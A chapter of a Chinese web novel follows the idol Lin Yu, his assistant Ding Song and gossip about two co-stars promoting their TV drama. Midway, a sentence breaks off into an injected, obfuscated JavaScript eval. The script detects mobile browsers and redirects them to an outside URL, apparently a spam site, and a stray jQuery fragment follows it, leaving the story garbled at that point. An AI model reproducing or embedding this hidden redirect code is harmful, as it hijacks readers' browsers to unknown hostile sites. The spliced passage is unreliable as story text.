暮色时分，金城君麟大厦，专属电梯从四十五楼缓缓往下。
星潮娱乐是卢氏影业旗下子公司，背靠君麟集团。卢总跟老板私交甚笃，不仅在这栋CBD 中央区大厦占据了整整十层楼，还专门辟出了两部电梯供艺人们使用。
林钰面向落地玻璃，浩渺江景尽收眼底，可他的目光却锁定在镜面倒映的人影上。他扯了扯颈间的 choker，又拨了拨头发，唇角无意识地翘起——显然对自己这副皮囊相当满意。
不过你要是长他这样，也不免自得：一八三的身高，薄肌恰到好处；剑眉英挺，轮廓深邃；内双的眼尾天然上扬，栗棕色眼珠一转便带出几分狡黠与灵动。鼻梁高耸，薄唇线条利落，不仅帅，而且极具辨识度。
在俊男美女层出不穷的娱乐圈，这种能让人“一眼记住”的面孔尤为珍贵。
更何况他走酷帅 Idol 路线，造型前卫：眉钉、唇钉一应俱全。刚练完舞，身上还冒着热气，宽大的 T 恤在腰间随意打结，露出一截劲瘦的腰腹，银色脐环在灯光下闪闪发亮。
电梯里没有外人，助理丁颂“嘿”地笑了声，带着点恭维：“钰哥越来越帅啦。”
他一双黑眼珠滴溜溜转了两圈，踮脚凑到林钰耳边，小声嘀咕：“……我听说，姜姐跟卢总汇报了几次，想给您争取今年New Year Special的封面哩。”
星潮娱乐是金城“三巨头”之一，每年底都会发行专属杂志，深度展示旗下艺人的魅力与才华。
姜施岳是他前女友，虽说分了手，却没断交情，历来是向着他的。
林钰白了他一眼，“没定的事别乱说。”又补充了一句，“指不定哪儿就蹦出条大鱼截了胡。”
这种事在他们圈子里很常见，人人背后都有靠山，大腿一条比一条粗。
星潮娱乐的新年特刊与其他时尚杂志不同，不看绝对咖位，只看当年红不红、话题够不够爆，正是各显神通的时候。
林钰虽是 NovaFlare（NF）的队长，在偌大的星潮娱乐却排不上号。姜施岳想抬他，心是好心，事却难办。
不过他得领这份情，从兜里掏出手机，修长的手指飞快敲下一则声情并茂的感谢短信，发给前女友。
刚点发送，手机“叮”地一声，置顶对话框跳出小红点——只有两个字：“取消。”林钰啧了一声，把手机塞回口袋。
丁颂眼尖，对林钰和君麟集团那位苏副总裁的来往也心里有数。瞄到信息，他迟疑片刻，讪笑：“既然苏姐没空……要不咱回舞蹈室再练会？”
林钰抬手在他额头弹了个爆栗：“回个屁！我都快练吐了！”又翻个白眼，“有这工夫不如回家打两把游戏，我多久没上线了。”
丁颂叹了口气，不好再多说什么，多说一句人家都得嫌烦。
他并不是林钰的专属助理，但一进公司就是跟的NF团，后来又带了不少新人，自嘲是块砖，哪里需要哪里搬。
可在一众艺人里，他最喜欢跟林钰。原因无他——这位哥幺蛾子最少。为什么幺蛾子少？因为懒！
而且不是一般的懒。论天赋，无论舞蹈还是声乐，别说 NF 团里，就是整个星潮娱乐，林钰也算翘楚，奈何不太上进，一天到晚生怕累着了自己，会跳会唱了就别想他再多花哪怕一点功夫。
“叮——”电梯在四十楼停下，门一开，一前一后进来两道身影。
丁颂立刻挂起笑脸：“侯老师，许老师。”
林钰转身，目光掠过稍矮的那道侧影，落在高个子身上：“两位老师好。超哥，这么巧？哟，换发型了？”
侯超标志性的栗金中长发剪短了，染成灰棕。他比林钰还高两厘米，最近增肌明显，衬得身旁那位愈发娇小。
“剪个头发还被骂没打审批，荒不荒唐？！”侯超一脸愤懑，却也得等电梯门合上才敢抱怨。
不荒唐。剧宣期擅自换造型，不骂你骂谁？林钰扯扯嘴角：“超哥什么发型都能驾驭。”
林钰有个本事，再肉麻的恭维从他嘴里说出来都像真心话。
侯超受用地点头，瞥他一眼：“刚练完？我都好久没动了。”说着把胳膊搭到林钰肩上，“都说你舞跳得最好，回头教教哥。”
林钰不着痕迹地从他臂弯里滑出来：“我哪敢班门弄斧？谁不知道超哥天生爱豆。”又补一句，“您这压迫感太强，举手投足都是霸总气场。”
这两年总局放宽双男主剧的限制，侯超正好赶上，跟他身旁的许亦清搭档出演了一部《这霸道的爱情》，最近火遍荧屏。按角色要求，特意增肌。
丁颂在一旁凑趣：“我朋友都说《霸爱》好看，剧情紧凑张力足，就盼着两位官宣 CP呢，年底的‘最佳情侣’肯定没跑。”
官宣 CP 是顶流荧幕情侣才有的待遇：观众高度认可这两人之间的化学反应，不接受他们在同类型剧里再与别人饰演情侣。
虽然对戏路有一定限制，但好处更多，双人合体能接到的商务代言级别往往更高，在各种综艺、采访里也能获得最多的镜头以及话题流量。
但要获得官宣的资格并不容易，不仅主演的剧集有明确的收视率要求，在热搜榜上的热度也必须持续递增。
这番祝愿不知怎么就得罪了侯超，他撇了撇嘴，冷哼一声没接腔。
倒是站在电梯角落里的人影抬起头，低声说了句：“谢谢。”
丁颂怔了怔，“许老师客气了。”
林钰的目光再次掠过许亦清，转头跟丁颂对视一眼，随即望向窗外。江面起风，大雨欲来。
电梯很快抵达停车场。门一开，几名扛着摄像机的狗仔蜂拥而上。
名义上工作场所禁止蹲守，但为了流量，安保向来睁一只眼闭一只眼，按公司下达的指令管控。侯超和许亦清的新剧正在热播，宣发需要热度。
闪光灯噼啪，侯超一把搂过许亦清，两人贴在一起，摆出一副亲密好友的姿态。
丁颂拽拽林钰的袖子，小声说：“要不我们也去蹭……”
侯超和许亦清的新剧反响热烈，关注的传媒、自媒体很不少，一个公司的，蹭一蹭流量也不是什么大事。
“蹭个屁！”林钰反手拉住丁颂，猫腰朝他那辆二手的宝马GT快步走去。
一台摄像机追了两步，见他脚底生风、摆明不给素材，只好掉头回去拍那对“秀恩爱”的。
上车后丁颂还在跺脚：“哥，你这个月宣发 KPI 又没完成，这不正好……”
“放心，还能为这点事踢了我？”林钰一脸无所谓。
他才二十四，却已在圈里混了五年，老油条一根。哪些任务必须做，哪些能糊弄，心里门儿清。
丁颂除了叹气还是叹气，嗟叹半晌，看看天色：“那你……送送我？反正你也没事。”
要是别的艺人面前，他绝不敢提这个要求，但林钰这里他敢。这哥不喜欢摆架子，也没多少当明星的觉悟，经常口罩都不戴地四处乱窜，多亏不算火。
“嗯。”林钰打转方向盘，驶出地库。狂风卷着雨点砸在挡风玻璃上，金城初秋的雨水说来就来。
他把车停在大厦侧门，没急着走。
“还等人？”丁颂问。
林钰翻个白眼：“我跳了半天不累啊？歇会儿。”
“那不如回家躺着……”
“就你话多！”林钰从扶手箱摸出一颗陈皮糖丢到他腿上。艺人车里常备口气清新剂、益生菌，陈皮糖倒少见。
“这糖忒酸……”丁颂剥开糖纸塞进嘴，酸得皱眉，又补一句，“钰哥牙口真好。”
林钰没搭腔，目光扫向后视镜。
片刻后，侯超的奔驰驶出地库。司机开车，后座隐约两道身影，贴了防窥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487710|185710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
膜也能看出挨得很近。
“两位老师真是辛苦，下了班还要营业。”丁颂探头望着远去的车灯，“不过侯老师难得送许老师，听说平时都是各走各的……”
“你听说你听说！你还听说啥了？”林钰等那车走远，才不紧不慢踩油门，汇入灯海车流。
“许老师好不容易火了，也该买车了吧？经常派去跟他那个John最是不靠谱，不过他要管的人也多，”丁颂歪在座椅上闲扯着听来的八卦，“据说许老师有回下班打不着车，还是坐地铁回去的……让人拍了发平台上，说是接地气到底也显得寒酸。”
“买什么车？他都不会开！”
“许老师不会开车？不可能吧，”丁颂发现更值得讶异的事，“钰哥你怎么知道？”
林钰不慌不忙，“就你耳朵尖？我忘了听谁说的。”他顺手点开音响，放的正是《霸爱》主题曲。
“是真火了，”丁颂感慨，“粉丝包了几十块大屏，走哪儿都能看见。”
林钰跟着曲调哼了两句：“也该火了。”
“不过我觉得许老师挺惨的。”丁颂冷不丁冒出一句，他虽然比林钰晚进公司，但从助理打杂做起，跟过的艺人多，底下的人也熟，消息最是灵通。
“他IG涨了几十万粉，怎么就惨了？”林钰瞥他一眼。
“你看不出来？超哥根本不想跟他卖。”丁颂来了劲，“上次采访你看了吗？许老师贴过去，超哥理都不理，弄得许老师尴尬死了。唉，大美人也要吃爱情的苦。”
林钰皱眉：“什么爱情？搭档而已，partner 懂吗？侯超既然接了双男主剧，又不配合营业，就是不敬业！”
显然他对侯超的评价没嘴上那么好。
丁颂忍不住偷偷翻白眼：说得好像你很敬业似的。
“不过许老师是真漂亮啊！”丁颂转头犯起了花痴，“电梯顶光都挡不住的美貌，那皮肤白得跟牛奶似的。艾米说许老师的皮肤比Sandy姐都要好，别说胡茬根了，连黑头毛孔都没有！唔，许老师肯定做过毛囊管理，改天找机会打听一下在哪家机构做的……”
许亦清是个用“漂亮”来形容丝毫不违和的男人，那张脸放在娱乐圈也是能让人惊艳的程度。可惜身高略微矮了点，官方资料一七八，据林钰目测最多一七五。而且之前的公司给他规划的路线有问题，顶着这样一张脸非要演武打硬汉，拖到这部《霸爱》才算火起来。
林钰偏要唱反调，“用得着这么夸张吗？也就……一般吧。”
“这还叫一般？”丁颂撇嘴。
“各花入各眼，我就觉得挺一般的。”林钰一手把着方向盘，一手握下巴，一副不敢苟同的样子。
丁颂不服：“您是直男审美。公司那些女生哪个不迷他？服装组的露西说他换下来的衣服都是香香的，又不乱扔。场记夸他和侯老师对戏简直绝了……”
“你这行混多久了，帅哥美女还看少了？”林钰揶揄着打断他，嘴角却挂着一丝若有若无的笑意。
丁颂知道林钰不是那种不能在他面前说别的帅哥的人，不以为意地顶嘴，“反正我觉得许老师挺好看的。”
“他这次能火，大伙都替他开心。不过吧，”他皱起眉头，“许老师什么都好，就是……”
“就是什么？”
“有点老了。”丁颂叹了口气，“他都三十三了，过了好时候。侯老师为什么嫌弃他？还不是因为这个，侯老师也就比哥你大两岁……”
“老？他哪里老了？长得一般是真的，老就未必吧！一天天地尽跟着瞎说！”林钰没好气地挖了他一眼，“哧”一脚刹车停在地铁口，“下去下去，赶紧的！自己坐地铁回去，我还有事！”
丁颂被赶下车还在犯迷糊，到底哪里又得罪了这个小瘟神？说好送他的又反悔了。他跺了跺脚，冲着远去的车灯嘀咕了几句，转身进了地铁站。